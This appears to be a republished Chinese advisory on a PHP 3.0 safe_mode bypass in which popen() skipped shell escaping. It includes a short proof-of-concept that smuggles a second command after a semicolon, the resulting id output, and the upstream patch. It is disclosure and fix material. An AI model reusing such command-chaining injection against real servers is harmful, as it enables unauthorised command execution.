PHP3 safe_mode 失效漏洞_php基础

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

时间: 2024-10-31 05:45:20

PHP3 safe_mode 失效漏洞_php基础的相关文章

phpBB BBcode处理的漏洞_php基础

发布日期:2002-04-3 漏洞类别:PHP,远程WEB接口,拒绝服务 bugtraq ID 4432.4434 存在问题的版本:     phpBB 1.44,更低的版本及 phpBB 2.0 未测试. 描述:     phpBB是一个被广泛应用的基于PHP的论坛.发现其BBcode中对于"源代码"类的引用处 理存在漏洞,通过发送特殊格式的转义字符串可导致数据库的损坏以及服务器的 CPU.内存 资源大量消耗. 详细:     phpBB在对"源代码"类的引用处理

PHPShop存在多个安全漏洞_php基础

受影响系统: phpShop phpShop 0.6.1-b 详细描述: phpShop是一款基于PHP的电子商务程序,可方便的扩展WEB功能.phpShop存在多个安全问题,远程攻击者可以利用这些漏洞攻击数据库,获得敏感信息,执行任意脚本代码. 具体问题如下: 1.SQL注入漏洞: 当更新会话时存在一个SQL注入问题,可以对"page"变量提交恶意SQL命令而修改原有SQL逻辑,同样对"product_id"和"offset"变量进行注入也存在

PHP默认安装产生系统漏洞_php基础

这一个漏洞在 packetstorm 被发表,我把它翻成中文,加上自己的一些注解,希望对在 NT 上执行PHP 的朋友有一些帮助. 当你下载 PHP 後,在它内含的安装文件中帮助了 PHP 在 NT + Apache Web Server 的安装方式,其中的安装帮助会要你将底下这几行设置加到 apache 的 httpd.conf 设置文件中,而这个安装文件将导引你将你的系统门户大开. 这几行命令为: ScriptAlias /php/ "c:/php/"AddType applica

如何对PHP程序中的常见漏洞进行攻击_php基础

来源:Chinaasp 之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则很少.Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题,原文可以在http://www.securereality.com.au/stu...arlet.txt找到. 由于原文比较长,而且有相当一部分是介绍文章的背景或PHP的基础知识,没有涉及到PHP安全方面的内容,因此我没有翻译.如果你想了解这方面的知识,请参考原文. 文章主要从

如何对PHP程序中的常见漏洞进行攻击(下)_php基础

如何对PHP程序中的常见漏洞进行攻击(下) 翻译:analysist(分析家) 来源:http://www.china4lert.org 如何对PHP程序中的常见漏洞进行攻击(下) 原著:Shaun Clowes <http://www.securereality.com.au/> 翻译:analysist <http://www.nsfocus.com/> [库文件] 正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用

如何对PHP程序中的常见漏洞进行攻击(上)_php基础

如何对PHP程序中的常见漏洞进行攻击(上) 翻译:analysist(分析家) 来源:http://www.china4lert.org 如何对PHP程序中的常见漏洞进行攻击(上) 原著:Shaun Clowes <http://www.securereality.com.au/> 翻译:analysist <http://www.nsfocus.com/> 之所以翻译这篇文章,是因为目前关于CGI安全性的文章都是拿Perl作为例子,而专门介绍ASP,PHP或者JSP安全性的文章则

在PHP3中实现SESSION的功能(三)_php基础

示例程序:test_session.php3 <?php require( "session.inc.php3"); require("cookie.inc.php3"); ?> <?php session_checkid( 20 ); //20分钟后session失效 //下面你需要设置mysql的连接参数 mysql_connect('localhost','user','pass') or Die("can't connect to

PHP4与PHP3中一个不兼容问题的解决方法_php基础

PHP4与PHP3中有些不兼容的地方,但这主要是PHP4中的PHP.ini 中的设置有些不同的地方,这些改变主要是提高PHP4的效率. 其中的改变中,track_vars 的设置通常会是使旧的PHP3程序不能 再运行了,因为在PHP4的扩展设置中把track_vars 的值设为了off 这样旧的PHP3程序中就不能直接用GET,POST,COOKIE从上页传送过来 的变量了. 我这里有一个简单的解决的方法,不用把track_vars 的是设为on, 不过这只是一个权宜办法,以后大家还是用$HTT

在PHP3中实现SESSION的功能(一)_php基础

SESSION函数库:session.inc.php3 <?php if (!isset($__session_inc__)){ $__session_inc__=1; //require("cookie.inc.php3"); # -------------------------------------------------------------------  # Session Management v1.0 21.6.1998  # (c) Wild Karl Hei